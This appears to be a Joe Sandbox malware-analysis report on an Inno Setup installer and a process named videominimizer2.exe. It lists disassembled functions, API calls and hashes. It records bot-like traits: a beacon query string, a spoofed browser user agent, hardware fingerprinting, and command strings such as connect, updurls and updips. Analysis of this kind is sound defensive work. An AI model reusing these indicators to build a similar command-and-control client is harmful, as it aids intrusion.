Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: DirectoryErrorExecuteLastShellSystem
String ID: <
API String ID: 893404051-4251816714
Opcode ID: eda88bca0edbb1d4d60b2465a169ef4fc32f774dfe42a6a5e367270b0e7eae9d
Instruction ID: 92df0b2f1231c5c49ece4c570041ef31d6ed92e86db86b93cafb864a5026e18c
Opcode Fuzzy Hash: eda88bca0edbb1d4d60b2465a169ef4fc32f774dfe42a6a5e367270b0e7eae9d
Instruction Fuzzy Hash: 172167B0600609ABDB10EF65C8926AE7BE8AF44355F54403AFC44E7291D7789E49CB98

Function 00402584 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0049B420,00000000,)), ref: 004025C7
RtlLeaveCriticalSection.KERNEL32(0049B420,0040263D), ref: 00402630

Part of subcall function 004019CC: RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
Part of subcall function 004019CC: RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
Part of subcall function 004019CC: LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
Part of subcall function 004019CC: RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Strings

), xrefs: 004025AE

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: )
API String ID: 2227675388-1084416617
Opcode ID: e007287126da8fa7f668c9e0dd370e3762efe765c6f58c3167b97aa7cf6c64ab
Instruction ID: 77bd95ba853a3ee3b707a504883d316aad751082ca23ba06a0d8aa2ba3da16af
Opcode Fuzzy Hash: e007287126da8fa7f668c9e0dd370e3762efe765c6f58c3167b97aa7cf6c64ab
Instruction Fuzzy Hash: E11104317042046FEB15AB796F5962B6AD4D795758B24087FF404F33D2DABD8C02929C

Function 0049669E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097), ref: 004966D9

Strings

/INITPROCWND=$%x , xrefs: 00496704
@, xrefs: 004966A4

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window
String ID: /INITPROCWND=$%x $@
API String ID: 2353593579-4169826103
Opcode ID: b4f4c19a8bc55ff90c2e9b73843465f76c245e37ca3079c0cf601615490e7546
Instruction ID: 2823dcf8e8ddb1ccfa98fa5e384fb34ae0e14248cce506d77a4005fc3c11fa4c
Opcode Fuzzy Hash: b4f4c19a8bc55ff90c2e9b73843465f76c245e37ca3079c0cf601615490e7546
Instruction Fuzzy Hash: 4711A531A042089FDF01DFA4D851BAE7FE8EB48318F5144BBE504E7291DB7C9905C658

Function 00447414 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9

SysFreeString.OLEAUT32(?), ref: 004474C6

Strings

Unknown Method, xrefs: 0044749F
NIL Interface Exception, xrefs: 00447468

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: String$AllocByteCharFreeMultiWide
String ID: NIL Interface Exception$Unknown Method
API String ID: 3952431833-1023667238
Opcode ID: 4f43f2048f3271615f10b1acac82c539bd88d3f79065c454e3b767f871ffd8a8
Instruction ID: eb0132878ffe7144b3db707554455947565e11d0cdd4dc78092451a8fec87e99
Opcode Fuzzy Hash: 4f43f2048f3271615f10b1acac82c539bd88d3f79065c454e3b767f871ffd8a8
Instruction Fuzzy Hash: 8011B9706082089FEB10DFA58C52A6EBBBCEB09704F91407AF504F7681D77C9D01CB69

Function 00495F10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,00495FD8,?,00495FCC,00000000,00495FB3), ref: 00495F7E
CloseHandle.KERNEL32(00496018,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,00495FD8,?,00495FCC,00000000), ref: 00495F95

Part of subcall function 00495E68: GetLastError.KERNEL32(00000000,00495F00,?,?,?,?), ref: 00495E8C

Strings

D, xrefs: 00495F58

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseCreateErrorHandleLastProcess
String ID: D
API String ID: 3798668922-2746444292
Opcode ID: 2cac3968973140c3bf288dcd51b8fea51afb9ccec72b099e887b62547fa5ce6a
Instruction ID: f27f12c2402a3b04c6ef5f500e2c30b4f6e8a0b8f5398e8f95c33b3eb070371b
Opcode Fuzzy Hash: 2cac3968973140c3bf288dcd51b8fea51afb9ccec72b099e887b62547fa5ce6a
Instruction Fuzzy Hash: FC015EB1644648AFDF05DBA2DD42E9EBBACDB08714F61003AF904E72C5D6789E048B68

Function 0042DD64 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,Inno Setup: No Icons,00000000,00000000,00000000,00000000), ref: 0042DD78
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,Inno Setup: No Icons,00000000,00000000,00000000), ref: 0042DDB8

Strings

Inno Setup: No Icons, xrefs: 0042DD76

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Value$EnumQuery
String ID: Inno Setup: No Icons
API String ID: 1576479698-2016326496
Opcode ID: 36a0b08f46d91d09f38f531e186592c2a543f82488f0210131226a48688c00be
Instruction ID: 8d080c6700cf8453afd411d185ff7d2dd707f59376968ad674d2e7d16536e1ed
Opcode Fuzzy Hash: 36a0b08f46d91d09f38f531e186592c2a543f82488f0210131226a48688c00be
Instruction Fuzzy Hash: 1B012B33B55B7179FB3045256D01F7B57889B82B60F64013BF942EA2C0D6999C04936E

Function 004973D4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 004555E4: GetCurrentProcess.KERNEL32(00000028), ref: 004555F3
Part of subcall function 004555E4: OpenProcessToken.ADVAPI32(00000000,00000028), ref: 004555F9

SetForegroundWindow.USER32(?), ref: 00497406

Strings

Not restarting Windows because Uninstall is being run from the debugger., xrefs: 00497431
Restarting Windows., xrefs: 004973E3

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Process$CurrentForegroundOpenTokenWindow
String ID: Not restarting Windows because Uninstall is being run from the debugger.$Restarting Windows.
API String ID: 3179053593-4147564754
Opcode ID: 4193847a8af397455179383c4cf3c5e93af51966d3aee1b0e62b09f4ca4c6cf6
Instruction ID: 81a48865aaf16d48f947dda4b05133a8651c2c420a775bb83d5095b98b759fde
Opcode Fuzzy Hash: 4193847a8af397455179383c4cf3c5e93af51966d3aee1b0e62b09f4ca4c6cf6
Instruction Fuzzy Hash: 1C01B5B0618244AAEB01FB66E992B983F989B44308F80407BF5446B2D3C73C994AC75D

Function 00497B74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0047CBBC: FreeLibrary.KERNEL32(72AE0000,00481513), ref: 0047CBD2

Part of subcall function 0047C88C: GetTickCount.KERNEL32 ref: 0047C8D6

Part of subcall function 004570E0: SendMessageA.USER32(00000000,00000B01,00000000,00000000), ref: 004570FF

GetCurrentProcess.KERNEL32(00000001,?,?,?,?,004984CB), ref: 00497BC9
TerminateProcess.KERNEL32(00000000,00000001,?,?,?,?,004984CB), ref: 00497BCF

Strings

Detected restart. Removing temporary directory., xrefs: 00497B83

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Process$CountCurrentFreeLibraryMessageSendTerminateTick
String ID: Detected restart. Removing temporary directory.
API String ID: 1717587489-3199836293
Opcode ID: edd495a3eb806bce708dfd09f75f47a0044e32d2cd5383a21bd3adb2a5963435
Instruction ID: d50bc6c630895905583a3a2fadab6dc9590d78cbbd3fad9bb3e23ee4b0713a5b
Opcode Fuzzy Hash: edd495a3eb806bce708dfd09f75f47a0044e32d2cd5383a21bd3adb2a5963435
Instruction Fuzzy Hash: C8E0E57221C7042EDA1177B7BC62A573F8CD74576C761447FF90881992C42D6810C67D

Function 00455674 Relevance: 5.0, APIs: 4, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 00455693
Sleep.KERNEL32(?), ref: 004556A3
GetLastError.KERNEL32 ref: 004556B6
GetLastError.KERNEL32 ref: 004556C0

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 6f2b27bda8ca5cc9560dd93be1cc0b104f7b92667656e0278d509a2706482566
Instruction ID: f31041694d7e6b08a2ea33ec2b58b28b25921f40701f973673b956735a8b67d8
Opcode Fuzzy Hash: 6f2b27bda8ca5cc9560dd93be1cc0b104f7b92667656e0278d509a2706482566
Instruction Fuzzy Hash: 42F02B32705F58A78B21B56A889157FB2A8DB81366750012BFC0CD7313C878CC058BBC

Analysis Process: videominimizer2.exePID: 7852, Parent PID: 7772COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	66.2%
Signature Coverage:	19.9%
Total number of Nodes:	488
Total number of Limit Nodes:	28

Executed Functions

Function 02D85E4F Relevance: 79.0, APIs: 40, Strings: 5, Instructions: 210
memorysleeplibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitializeCriticalSection.NTDLL(02DB4FC8), ref: 02D85E83
GetModuleHandleA.KERNEL32(ntdll.dll,sprintf), ref: 02D85E9A
GetProcAddress.KERNEL32(00000000), ref: 02D85EA3
GetModuleHandleA.KERNEL32(ntdll.dll,strcat), ref: 02D85EB2
GetProcAddress.KERNEL32(00000000), ref: 02D85EB5
GetTickCount.KERNEL32 ref: 02D85EC9

Part of subcall function 02D859FA: _malloc.LIBCMT ref: 02D85A08

GetVersionExA.KERNEL32(02DB4E18), ref: 02D85EF6
_memset.LIBCMT ref: 02D85F15
_malloc.LIBCMT ref: 02D85F22

Part of subcall function 02D91FAC: __FF_MSGBANNER.LIBCMT ref: 02D91FC3
Part of subcall function 02D91FAC: __NMSG_WRITE.LIBCMT ref: 02D91FCA
Part of subcall function 02D91FAC: RtlAllocateHeap.NTDLL(00980000,00000000,00000001), ref: 02D91FEF

_malloc.LIBCMT ref: 02D85F32
_malloc.LIBCMT ref: 02D85F3D
_malloc.LIBCMT ref: 02D85F48
_malloc.LIBCMT ref: 02D85F53
_malloc.LIBCMT ref: 02D85F5E
_malloc.LIBCMT ref: 02D85F69
_malloc.LIBCMT ref: 02D85F75
GetProcessHeap.KERNEL32(00000000,00000004), ref: 02D85F8C
RtlAllocateHeap.NTDLL(00000000), ref: 02D85F95
GetProcessHeap.KERNEL32(00000000,00000400), ref: 02D85FA1
RtlAllocateHeap.NTDLL(00000000), ref: 02D85FA4
GetProcessHeap.KERNEL32(00000000,00000400), ref: 02D85FAF
RtlAllocateHeap.NTDLL(00000000), ref: 02D85FB2
_memset.LIBCMT ref: 02D85FC2
_memset.LIBCMT ref: 02D85FCE
_memset.LIBCMT ref: 02D85FDB
RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D85FE9
RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D85FF6
_malloc.LIBCMT ref: 02D86017
_malloc.LIBCMT ref: 02D86025
_malloc.LIBCMT ref: 02D8602C
_malloc.LIBCMT ref: 02D8604D
QueryPerformanceCounter.KERNEL32(00000200), ref: 02D86059
Sleep.KERNEL32(00000000), ref: 02D86067
_malloc.LIBCMT ref: 02D86073
_malloc.LIBCMT ref: 02D86083
_memset.LIBCMT ref: 02D86098
_memset.LIBCMT ref: 02D860A8
Sleep.KERNEL32(0000EA60), ref: 02D860F5
RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D86100
RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D86111

Strings

strcat, xrefs: 02D85EA5
gpt=%.8x&advizor=%d&box=%d&hp=%x&lp=%x&line=%d&os=%d.%d.%04d&flag=%d&itd=%d, xrefs: 02D86034
ntdll.dll, xrefs: 02D85E8F, 02D85E99, 02D85EAA
sprintf, xrefs: 02D85E94
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02D8611A

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: _malloc$Heap$_memset$CriticalSection$Allocate$Process$AddressEnterHandleLeaveModuleProcSleep$CountCounterInitializePerformanceQueryTickVersion
String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$gpt=%.8x&advizor=%d&box=%d&hp=%x&lp=%x&line=%d&os=%d.%d.%04d&flag=%d&itd=%d$ntdll.dll$sprintf$strcat
API String ID: 1856495841-1038016512
Opcode ID: 4dd9a4d3ab0378b7a9b988856786274644cef30668b1f06d68eb4afac1fb4cae
Instruction ID: 5cbde370428dd19746f7904b8cf5558884c94dd0b3f9e809a0ead3b35de1a94a
Opcode Fuzzy Hash: 4dd9a4d3ab0378b7a9b988856786274644cef30668b1f06d68eb4afac1fb4cae
Instruction Fuzzy Hash: F371A271D88340ABD711AF74A829B5B7BD8EF8A310F540C19F59897381DB788C158BA6

Function 00401B4B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 00401B5D
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 00401B74
GetAdaptersInfo.IPHLPAPI(?,00000400), ref: 00401B9D
FreeLibrary.KERNEL32(00401A3E), ref: 00401C1B

Strings

o, xrefs: 00401BF2
GetAdaptersInfo, xrefs: 00401B6E
iphlpapi.dll, xrefs: 00401B58

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: Library$AdaptersAddressFreeInfoLoadProc
String ID: GetAdaptersInfo$iphlpapi.dll$o
API String ID: 514930453-3667123677
Opcode ID: a648eded5dba78bf16f4a137e2c2b6b7b052dc293c02733a72e5b458839b5e0e
Instruction ID: a9f54c968f2091474e8feb0d981771773be25d9c6ef5ebc30493122ab1168d3f
Opcode Fuzzy Hash: a648eded5dba78bf16f4a137e2c2b6b7b052dc293c02733a72e5b458839b5e0e
Instruction Fuzzy Hash: E821B870904209AEDF219F65C9447EF7FB8EF45345F0440BAE604B62A1E7389A85CB69

Function 02D8E99C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 02D8E9B2
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 02D8E9CB
GetAdaptersInfo.IPHLPAPI(?,?), ref: 02D8E9F0
FreeLibrary.KERNEL32(00000000), ref: 02D8EA79

Strings

iphlpapi.dll, xrefs: 02D8E9A6
GetAdaptersInfo, xrefs: 02D8E9C5

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: Library$AdaptersAddressFreeInfoLoadProc
String ID: GetAdaptersInfo$iphlpapi.dll
API String ID: 514930453-3114217049
Opcode ID: 30e1f4ef238467c6b541b328e3599e0f71f7e1c18456c3859970dae03305e477
Instruction ID: f6071b3310d5f04715cd4412be80ba86d167f77fea264e1a59a3acfe6548e38c
Opcode Fuzzy Hash: 30e1f4ef238467c6b541b328e3599e0f71f7e1c18456c3859970dae03305e477
Instruction Fuzzy Hash: E321A075E08219ABDB10EFA8D884AEEBBB8EF05714F1440A9F545E7301D7709E45CFA4

Function 02D8E898 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 02D8E8B7
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000400,?,00000000), ref: 02D8E8F5
GetLastError.KERNEL32 ref: 02D8E956
CloseHandle.KERNEL32(?), ref: 02D8E98D

Strings

\\.\PhysicalDrive0, xrefs: 02D8E8B0

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: CloseControlCreateDeviceErrorFileHandleLast
String ID: \\.\PhysicalDrive0
API String ID: 4026078076-1180397377
Opcode ID: 17467e55e48b0f179dcb3246b974aecde7426187c135ba4cfa94f935aa65929d
Instruction ID: 8b833e6bcb8f9d29d4a65ab39b1045601ceecd783e453ca28a1333c5ecc112e4
Opcode Fuzzy Hash: 17467e55e48b0f179dcb3246b974aecde7426187c135ba4cfa94f935aa65929d
Instruction Fuzzy Hash: 52317C71D00229EBDB24EF95D885BAEBBB8EF05714F24416AF505A7380D7B05E05CFA4

Function 00401A4F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 00401A6B
DeviceIoControl.KERNEL32(?,002D1400,?,0000000C,?,00000400,00000400,00000000), ref: 00401AB2
GetLastError.KERNEL32 ref: 00401B0E
CloseHandle.KERNEL32(?), ref: 00401B3D

Strings

\\.\PhysicalDrive0, xrefs: 00401A63

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: CloseControlCreateDeviceErrorFileHandleLast
String ID: \\.\PhysicalDrive0
API String ID: 4026078076-1180397377
Opcode ID: 5b2aa4f6f1db506efa266d4c362af4cf52cfeed2701d30c33ae5bfe5944f1550
Instruction ID: ae54cd8959710a424601ffd4623f532e2396a469a493930b182490efebea7a61
Opcode Fuzzy Hash: 5b2aa4f6f1db506efa266d4c362af4cf52cfeed2701d30c33ae5bfe5944f1550
Instruction Fuzzy Hash: 50318D71D01118EECB21EF95CD809EFBBB8EF45750F20807AE514B22A0E7785E45CB98

Function 02E02015 Relevance: 1.6, APIs: 1, Instructions: 51filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 02E0AECB

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 2feb064256129b6ff759070ea12fc26625f3c775474397e332eed8ccac0667d3
Instruction ID: 41d1130dc88cd57a231cf236615a9f4b68d327cb7fc24f12ff37e1127235e9cc
Opcode Fuzzy Hash: 2feb064256129b6ff759070ea12fc26625f3c775474397e332eed8ccac0667d3
Instruction Fuzzy Hash: DD0184B240C7049FD7087E69EC8967AF7E4EF59710F11452DE2C047744EA7564418AD7

Function 02D8636A Relevance: 68.9, APIs: 27, Strings: 12, Instructions: 624
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

connect, xrefs: 02D864AB, 02D86509
auth_ip, xrefs: 02D865F0, 02D8685C
auth_swith, xrefs: 02D865C4
<htm, xrefs: 02D8643B
updurls, xrefs: 02D864EF
idle, xrefs: 02D864CD, 02D86817
updips, xrefs: 02D864DE, 02D8683B
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02D8611A
block, xrefs: 02D86634
%d;, xrefs: 02D86886
disconnect, xrefs: 02D864BC, 02D867C3
, xrefs: 02D86AF6

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID:
String ID: $%d;$<htm$Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$auth_ip$auth_swith$block$connect$disconnect$idle$updips$updurls
API String ID: 0-2823103634
Opcode ID: cb128090e432766981b6c8be0195434a98a9a37727704b66f7f4078ddaddd60c
Instruction ID: 8e3a7ede098804e63d8f6a6f3caab516342aaf28f442266f299cacbb21db681b
Opcode Fuzzy Hash: cb128090e432766981b6c8be0195434a98a9a37727704b66f7f4078ddaddd60c
Instruction Fuzzy Hash: E92246316083819BD725EB24D851BAF7BE9EF86724F10491EE4C997381EB71DC05CBA2

Function 02D863FE Relevance: 54.6, APIs: 21, Strings: 10, Instructions: 324
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02D86471
RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D86494
RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D864A5
_malloc.LIBCMT ref: 02D8652C
RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D8653E
RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D8654A
_memset.LIBCMT ref: 02D86564
_memset.LIBCMT ref: 02D86573
_memset.LIBCMT ref: 02D86583
_memset.LIBCMT ref: 02D86592
_memset.LIBCMT ref: 02D865A1
_malloc.LIBCMT ref: 02D8661B
_memset.LIBCMT ref: 02D8662C
_strtok.LIBCMT ref: 02D8664C
_swscanf.LIBCMT ref: 02D86663
_strtok.LIBCMT ref: 02D8667A
_free.LIBCMT ref: 02D86686

Strings

connect, xrefs: 02D864AB, 02D86509
auth_ip, xrefs: 02D865F0
auth_swith, xrefs: 02D865C4
<htm, xrefs: 02D8643B
updurls, xrefs: 02D864EF
idle, xrefs: 02D864CD
updips, xrefs: 02D864DE
